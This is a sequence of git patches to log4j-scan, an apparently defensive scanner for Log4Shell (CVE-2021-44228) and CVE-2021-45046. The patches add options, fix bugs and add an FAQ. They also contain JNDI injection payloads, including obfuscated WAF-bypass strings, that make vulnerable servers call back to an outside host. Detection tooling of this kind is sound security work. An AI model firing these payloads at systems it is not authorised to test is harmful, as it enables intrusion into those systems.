From a11b701fb0c938e25053839eb336951a66091247 Mon Sep 17 00:00:00 2001 From: Brasco Date: Tue, 14 Dec 2021 15:41:22 +0100 Subject: [PATCH 01/14] improved messages addressing issue #50 --- README.md | 3 ++- log4j-scan.py | 7 +++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 77090d3..94e49f1 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,8 @@ optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -p PROXY, --proxy PROXY - Send requests through proxy. + Send requests through proxy. proxy should be specified in the format supported by requests + (http[s]://:) -l USEDLIST, --list USEDLIST Check a list of URLs. --request-type REQUEST_TYPE diff --git a/log4j-scan.py b/log4j-scan.py index b63ab36..38d44a8 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -66,7 +66,7 @@ action='store') parser.add_argument("-p", "--proxy", dest="proxy", - help="send requests through proxy", + help="Send requests through proxy. proxy should be specified in the format supported by requests (http[s]://:)", action='store') parser.add_argument("-l", "--list", dest="usedlist", @@ -268,6 +268,7 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") + cprint("the unreached target won't be scanned", "yellow") if args.request_type.upper() == "POST" or args.run_all_tests: try: @@ -282,6 +283,7 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") + cprint("the unreached target won't be scanned", "yellow") try: # JSON body @@ -295,6 +297,7 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") + cprint("the unreached target won't be scanned", "yellow") def main(): @@ -337,7 +340,7 @@ def main(): time.sleep(args.wait_time) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Targets does not seem to be vulnerable.", "green") + cprint("[•] Reachable Targets does not seem to be vulnerable.", "green") else: cprint("[!!!] Target Affected", "yellow") for i in records: From 0502467ab78797855c8c6d599bac0da074fb8667 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Wed, 15 Dec 2021 16:02:54 +0400 Subject: [PATCH 02/14] Added --disable-http-redirects option --- log4j-scan.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/log4j-scan.py b/log4j-scan.py index b63ab36..acc53a8 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -109,6 +109,10 @@ dest="custom_dns_callback_host", help="Custom DNS Callback Host.", action='store') +parser.add_argument("--disable-http-redirects", + dest="disable_redirects", + help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.", + action='store_true') args = parser.parse_args() @@ -265,6 +269,7 @@ def scan_url(url, callback_host): headers=get_fuzzing_headers(payload), verify=False, timeout=timeout, + redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -279,6 +284,7 @@ def scan_url(url, callback_host): data=get_fuzzing_post_data(payload), verify=False, timeout=timeout, + redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -292,6 +298,7 @@ def scan_url(url, callback_host): json=get_fuzzing_post_data(payload), verify=False, timeout=timeout, + redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") From 67be0dc5f91b4bdfd3adc1e24edb69bf4d1f9688 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Wed, 15 Dec 2021 16:03:44 +0400 Subject: [PATCH 03/14] updated readme --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 77090d3..ef5585e 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,8 @@ optional arguments: DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST Custom DNS Callback Host. + --disable-http-redirects + Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems. ``` ## Scan a Single URL From 5607ee6d0831af59f2c79b6cb6ea23427916dcc9 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Wed, 15 Dec 2021 16:14:22 +0400 Subject: [PATCH 04/14] fixed issue with --wait where custom input is treated as string - Thanks @KINGSABRI --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index acc53a8..560e9d6 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -341,7 +341,7 @@ def main(): cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan") cprint("[•] Waiting...", "cyan") - time.sleep(args.wait_time) + time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: cprint("[•] Targets does not seem to be vulnerable.", "green") From 4f2ba54af3ea48f61a485847e23c09ed57a5fe89 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Wed, 15 Dec 2021 16:23:34 +0400 Subject: [PATCH 05/14] fixed bug with allow-redirects, disable cert verification for interact to help running the tool in networks with SSL interception --- log4j-scan.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 560e9d6..94f1944 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -156,11 +156,15 @@ def generate_waf_bypass_payloads(callback_host, random_string): class Dnslog(object): def __init__(self): self.s = requests.session() - req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30) + req = self.s.get("http://www.dnslog.cn/getdomain.php", + proxies=proxies, + timeout=30) self.domain = req.text def pull_logs(self): - req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30) + req = self.s.get("http://www.dnslog.cn/getrecords.php", + proxies=proxies, + timeout=30) return req.json() @@ -186,6 +190,8 @@ def __init__(self, token="", server=""): self.session = requests.session() self.session.headers = self.headers + self.session.verify = False + self.session.proxies = proxies self.register() def register(self): @@ -269,7 +275,7 @@ def scan_url(url, callback_host): headers=get_fuzzing_headers(payload), verify=False, timeout=timeout, - redirects=(not args.disable_redirects), + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -284,7 +290,7 @@ def scan_url(url, callback_host): data=get_fuzzing_post_data(payload), verify=False, timeout=timeout, - redirects=(not args.disable_redirects), + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -298,7 +304,7 @@ def scan_url(url, callback_host): json=get_fuzzing_post_data(payload), verify=False, timeout=timeout, - redirects=(not args.disable_redirects), + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") From 231b83f57f4fffd16ed41eccd2aa1ffd11133657 Mon Sep 17 00:00:00 2001 From: Axel Beckert Date: Wed, 15 Dec 2021 12:37:37 +0000 Subject: [PATCH 06/14] Fix ModuleNotFoundError: No module named 'Crypto' Fixes fullhunt/log4j-scan#23 PyCrypto is EoL, should no more be used and replaced with PyCryptodome. And at least with recent PyCryptodome version, there seem to be no more backwards compatibility to PyCrypto at least in Kali and Debian, but probably also in Ubuntu. --- log4j-scan.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 94f1944..2f98d7c 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -19,9 +19,9 @@ import random from uuid import uuid4 from base64 import b64encode -from Crypto.Cipher import AES, PKCS1_OAEP -from Crypto.PublicKey import RSA -from Crypto.Hash import SHA256 +from Cryptodome.Cipher import AES, PKCS1_OAEP +from Cryptodome.PublicKey import RSA +from Cryptodome.Hash import SHA256 from termcolor import cprint From 525089d0ff3c6a1e26260927bacc5776c6edf4d1 Mon Sep 17 00:00:00 2001 From: Nathan Lim <41277019+NateNate60@users.noreply.github.com> Date: Thu, 16 Dec 2021 12:47:44 -0800 Subject: [PATCH 07/14] Fixes grammar issue This pull request changes the message reported when the target isn't vulnerable from "targets **does** not seem to be vulnerable" to "targets **do** not seem to be vulnerable". --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index 94f1944..3abd49a 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -350,7 +350,7 @@ def main(): time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Targets does not seem to be vulnerable.", "green") + cprint("[•] Targets do not seem to be vulnerable.", "green") else: cprint("[!!!] Target Affected", "yellow") for i in records: From 90384ad33b6657c4b32cea9cefb76ab42c5065b8 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 14:48:19 +0400 Subject: [PATCH 08/14] revert pull request #60 --- log4j-scan.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index c640a03..3abd49a 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -19,9 +19,9 @@ import random from uuid import uuid4 from base64 import b64encode -from Cryptodome.Cipher import AES, PKCS1_OAEP -from Cryptodome.PublicKey import RSA -from Cryptodome.Hash import SHA256 +from Crypto.Cipher import AES, PKCS1_OAEP +from Crypto.PublicKey import RSA +from Crypto.Hash import SHA256 from termcolor import cprint From 471b99e9cec87d1c2308241052db7fd1677f5656 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 14:58:03 +0400 Subject: [PATCH 09/14] clean-up from previous pull request --- log4j-scan.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 9f91553..69ffd00 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -16,7 +16,6 @@ from urllib import parse as urlparse import base64 import json -import random from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -121,6 +120,7 @@ if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} + def get_fuzzing_headers(payload): fuzzing_headers = {} fuzzing_headers.update(default_headers) @@ -279,7 +279,6 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") - cprint("the unreached target won't be scanned", "yellow") if args.request_type.upper() == "POST" or args.run_all_tests: try: @@ -295,7 +294,6 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") - cprint("the unreached target won't be scanned", "yellow") try: # JSON body @@ -310,7 +308,6 @@ def scan_url(url, callback_host): proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") - cprint("the unreached target won't be scanned", "yellow") def main(): @@ -328,7 +325,7 @@ def main(): dns_callback_host = "" if args.custom_dns_callback_host: cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.") - dns_callback_host = args.custom_dns_callback_host + dns_callback_host = args.custom_dns_callback_host else: cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).") if args.dns_callback_provider == "interact.sh": From 65387f4a68c7d793de76716c5d0eb62f4ee61ce3 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 15:36:18 +0400 Subject: [PATCH 10/14] Added FAQ.md page to document common isues --- FAQ.md | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 FAQ.md diff --git a/FAQ.md b/FAQ.md new file mode 100644 index 0000000..3c64947 --- /dev/null +++ b/FAQ.md @@ -0,0 +1,41 @@ +# Frequently Asked Questions + +## DNS callback error + +``` +Traceback (most recent call last): +File "/Users/user/src/log4j-scan/log4j-scan.py", line 362, in +main() +File "/Users/user/src/log4j-scan/log4j-scan.py", line 332, in main +dns_callback = Interactsh() +File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 195, in init +self.register() +File "/Users/user/src/log4j-scan/log4j-scan.py", line 206, in register +raise Exception("Can not initiate interact.sh DNS callback client") +Exception: Can not initiate interact.sh DNS callback client +``` + +It means that the DNS callback provider is down, it's blocked on your network, or you can not connect to the DNS callback provider due to networking issues. You can use an different DNS Callback provider (eg.. with `--dns-callback-provider dnslog.cn`), or you can use a custom DNS callback host with ` --custom-dns-callback-host`. + +--- + +## Running with Python 2 + +``` +File "log4j-scan.py", line 136 +fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' +``` + +It should be related to Python 2 compatibility. The tool requires a modern version of Python 3. + +--- + +# Dependencies issue + +``` +File "/home/parallels/Log4j-RCE-Scanner/log4j-scan/log4j-scan.py", line 22, in +from Crypto.Cipher import AES, PKCS1_OAEP +ModuleNotFoundError: No module named 'Crypto' +``` + +This should be related to Pycrypto. Please install the latest Python PyCryptodome version. If you're still facing dependencies issues, you can use the Docker image. \ No newline at end of file From 37c07a4de125ff44b28c0072544bf2daf55ec012 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 16:43:39 +0400 Subject: [PATCH 11/14] Test using payloads for CVE-2021-45046 (detection payloads). --- log4j-scan.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index 94f1944..740c240 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -57,7 +57,13 @@ "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}"] + "${jndi:dns://{{callback_host}}}", + ] + +cve_2021_45046 = [ + "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}" # Source: https://twitter.com/marcioalm/status/1471740771581652995 + ] + parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -100,6 +106,10 @@ dest="waf_bypass_payloads", help="Extend scans with WAF bypass payloads.", action='store_true') +parser.add_argument("--test-CVE-2021-45046", + dest="cve_2021_45046", + help="Test using payloads for CVE-2021-45046 (detection payloads).", + action='store_true') parser.add_argument("--dns-callback-provider", dest="dns_callback_provider", help="DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].", @@ -265,6 +275,8 @@ def scan_url(url, callback_host): payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) + if args.cve_2021_45046: + payloads = cve_2021_45046 for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") if args.request_type.upper() == "GET" or args.run_all_tests: From 2f7852b944cff3b412354667020435d730220f06 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 16:55:13 +0400 Subject: [PATCH 12/14] updated readme --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7dc1002..5948533 100644 --- a/README.md +++ b/README.md @@ -51,6 +51,8 @@ optional arguments: --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. + --test-CVE-2021-45046 + Test using payloads for CVE-2021-45046 (detection payloads). --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST From b056741f9dae23f2e4654a29777203902a510aa6 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 18:45:51 +0400 Subject: [PATCH 13/14] improvements on cve_2021_45046 detection --- log4j-scan.py | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 091b384..120f07e 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -16,6 +16,7 @@ from urllib import parse as urlparse import base64 import json +import random from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -60,7 +61,9 @@ ] cve_2021_45046 = [ - "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}" # Source: https://twitter.com/marcioalm/status/1471740771581652995 + "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, + "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", + "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" ] @@ -71,7 +74,7 @@ action='store') parser.add_argument("-p", "--proxy", dest="proxy", - help="Send requests through proxy. proxy should be specified in the format supported by requests (http[s]://:)", + help="send requests through proxy", action='store') parser.add_argument("-l", "--list", dest="usedlist", @@ -130,7 +133,6 @@ if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} - def get_fuzzing_headers(payload): fuzzing_headers = {} fuzzing_headers.update(default_headers) @@ -162,6 +164,14 @@ def generate_waf_bypass_payloads(callback_host, random_string): payloads.append(new_payload) return payloads +def get_cve_2021_45046_payloads(callback_host, random_string): + payloads = [] + for i in cve_2021_45046: + new_payload = i.replace("{{callback_host}}", callback_host) + new_payload = new_payload.replace("{{random}}", random_string) + payloads.append(new_payload) + return payloads + class Dnslog(object): def __init__(self): @@ -276,7 +286,9 @@ def scan_url(url, callback_host): if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) if args.cve_2021_45046: - payloads = cve_2021_45046 + cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow") + payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string) + for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") if args.request_type.upper() == "GET" or args.run_all_tests: @@ -337,7 +349,7 @@ def main(): dns_callback_host = "" if args.custom_dns_callback_host: cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.") - dns_callback_host = args.custom_dns_callback_host + dns_callback_host = args.custom_dns_callback_host else: cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).") if args.dns_callback_provider == "interact.sh": @@ -362,7 +374,7 @@ def main(): time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Reachable Targets do not seem to be vulnerable.", "green") + cprint("[•] Targets does not seem to be vulnerable.", "green") else: cprint("[!!!] Target Affected", "yellow") for i in records: From 070fbd00f0945645bd5e0daa199a554ef3884b95 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Fri, 17 Dec 2021 19:35:15 +0400 Subject: [PATCH 14/14] updated readme --- README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5948533..93fd079 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,15 @@ - Supports DNS callback for vulnerability discovery and validation. - WAF Bypass payloads. +--- +# 🚨 Announcement + +There is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io). + +![](https://dkh9ehwkisc4.cloudfront.net/static/files/d385f9d8-e2b1-4d72-b9c2-a62c4c1c34a0-Screenshot-cve-2021-45046-demo.png) + +--- + # Description We have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment. @@ -22,7 +31,6 @@ It supports DNS OOB callbacks out of the box, there is no need to setup a DNS ca - # Usage ```python